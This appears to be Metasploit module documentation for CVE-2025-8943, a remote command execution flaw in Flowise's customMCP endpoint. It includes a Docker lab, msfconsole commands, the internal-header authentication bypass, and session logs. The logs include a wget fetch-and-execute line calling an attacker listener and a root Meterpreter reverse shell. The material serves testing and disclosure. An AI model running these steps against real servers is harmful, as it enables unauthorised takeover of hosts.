## Vulnerable Application

[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents.
Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable to a remote command execution vulnerability (CVE-2025-8943)
in the customMCP endpoint.

The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows users to execute arbitrary
commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly
on the system via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured,
the exploit works unauthenticated by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports
providing credentials via the FLOWISE_USERNAME and FLOWISE_PASSWORD options.

This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 14, 2025) and < 3.0.1 (fixed May 29, 2025).

This module was successfully tested on:

    * Flowise 2.2.7-patch.1 (unauthenticated)
    * Flowise 2.2.7-patch.1 with Basic Auth configured (FLOWISE_USERNAME/FLOWISE_PASSWORD env vars)
    * Flowise 3.0.0 (unauthenticated)

### Docker Setup

Use the provided `docker-compose-flowise.yml` file or create one with the following content:

```yaml
version: '3.8'

services:
  flowise-2.2.7:
    image: flowiseai/flowise:2.2.7-patch.1
    container_name: flowise-2.2.7
    ports:
      - "3000:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

  flowise-3.0.0:
    image: flowiseai/flowise:3.0.0
    container_name: flowise-3.0.0
    ports:
      - "3001:3000"
    environment:
      - PORT=3000
    restart: unless-stopped

  flowise-2.2.7-basicauth:
    image: flowiseai/flowise:2.2.7-patch.1
    container_name: flowise-2.2.7-basicauth
    ports:
      - "3004:3000"
    environment:
      - PORT=3000
      - FLOWISE_USERNAME=admin
      - FLOWISE_PASSWORD=Test12345!
    restart: unless-stopped

  flowise-3.0.1:
    image: flowiseai/flowise:3.0.1
    container_name: flowise-3.0.1
    ports:
      - "3005:3000"
    environment:
      - PORT=3000
    restart: unless-stopped
```

Start all instances: `docker compose -f docker-compose-flowise.yml up -d`

This will run:
- Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable)
- Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable)
- Flowise 2.2.7-patch.1 with Basic Auth on port 3004 (credentials required, vulnerable)
- Flowise 3.0.1 on port 3005 (fixed, not vulnerable)

### Testing with Docker Compose

**Test 2.2.7-patch.1 (port 3000, unauthenticated):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit"
```

**Test 3.0.0 (port 3001, unauthenticated):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3001; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit"
```

**Test 2.2.7-patch.1 with Basic Auth (port 3004, credentials required):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3004; set FLOWISE_USERNAME admin; set FLOWISE_PASSWORD Test12345!; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit"
```

**Test 3.0.1 (port 3005, fixed - should return Safe):**
```bash
msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3005; check"
```
Expected: `CheckCode::Safe("Version 3.0.1 is not vulnerable")`


## Verification Steps

1. Start a vulnerable Flowise instance (see versions above)
2. Launch msfconsole: `use exploit/multi/http/flowise_custommcp_rce`
3. Set `RHOSTS` and `RPORT` (default: 3000)
4. If Basic Auth is configured, set `FLOWISE_USERNAME` and `FLOWISE_PASSWORD`
5. Run `check` to verify vulnerability
6. Set payload and execute: `set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit`
7. Verify command execution (e.g., `docker exec flowise-2.2.7 id`)


## Options

- **FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has `FLOWISE_USERNAME`
  environment variable configured.

- **FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has `FLOWISE_PASSWORD`
  environment variable configured.

**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works
unauthenticated by using the `x-request-from: internal` header. If Basic Auth is enabled, you must provide credentials using
the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` options. The module uses `FETCH_COMMAND WGET` by default for meterpreter payloads.
The module includes error handling with HTTP response code validation (200 = success, 401 = authentication required,
404 = endpoint not found, 500 = server error).


## Scenarios

### Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1

```
msf > use exploit/multi/http/flowise_custommcp_rce
msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_custommcp_rce) > check
[*] Flowise version detected: 2.2.7.pre.patch.1
[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1)
msf exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(multi/http/flowise_custommcp_rce) > set CMD 'id'
CMD => id
msf exploit(multi/http/flowise_custommcp_rce) > exploit
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.
```

### Scenario 2: Unauthenticated Exploit on 3.0.0 with Meterpreter

```
msf > use exploit/multi/http/flowise_custommcp_rce
msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3001
RPORT => 3001
msf exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555
LPORT => 5555
msf exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1
FETCH_SRVHOST => 172.17.0.1
msf exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf exploit(multi/http/flowise_custommcp_rce) > set FetchListenerBindAddress 0.0.0.0
FetchListenerBindAddress => 0.0.0.0
msf exploit(multi/http/flowise_custommcp_rce) > run

[*] Command to run on remote host: wget -qO ./MfCBqpTrCefhXyuuOyk01Q http://172.17.0.1:8081/MfCBqpTrCefhXyuuOyk01Q;chmod +x ./MfCBqpTrCefhXyuuOyk01Q;./MfCBqpTrCefhXyuuOyk01Q&
[*] Fetch handler listening on 0.0.0.0:8081
[*] HTTP server started
[*] Adding resource /MfCBqpTrCefhXyuuOyk01Q
[*] Started reverse TCP handler on 172.17.0.1:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Flowise version detected: 3.0.0
[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1)
[*] Client 172.18.0.2 requested /MfCBqpTrCefhXyuuOyk01Q
[*] Sending payload to 172.18.0.2 (Wget)
[*] Command sent successfully (HTTP 200)
[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.18.0.2:36184) at 2025-11-18 21:45:37 +0100

meterpreter > sysinfo
Computer     : 172.18.0.2
OS           :  (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
```

### Scenario 3: With Basic Auth (if configured)

```
msf > use exploit/multi/http/flowise_custommcp_rce
msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/flowise_custommcp_rce) > set FLOWISE_USERNAME admin
FLOWISE_USERNAME => admin
msf exploit(multi/http/flowise_custommcp_rce) > set FLOWISE_PASSWORD password123
FLOWISE_PASSWORD => password123
msf exploit(multi/http/flowise_custommcp_rce) > exploit
[*] Command sent successfully (HTTP 200)
[*] Exploit completed, but no session was created.
```

## References

- CVE-2025-8943
- JFrog Security Advisory: https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/
- Flowise repository: https://github.com/FlowiseAI/Flowise

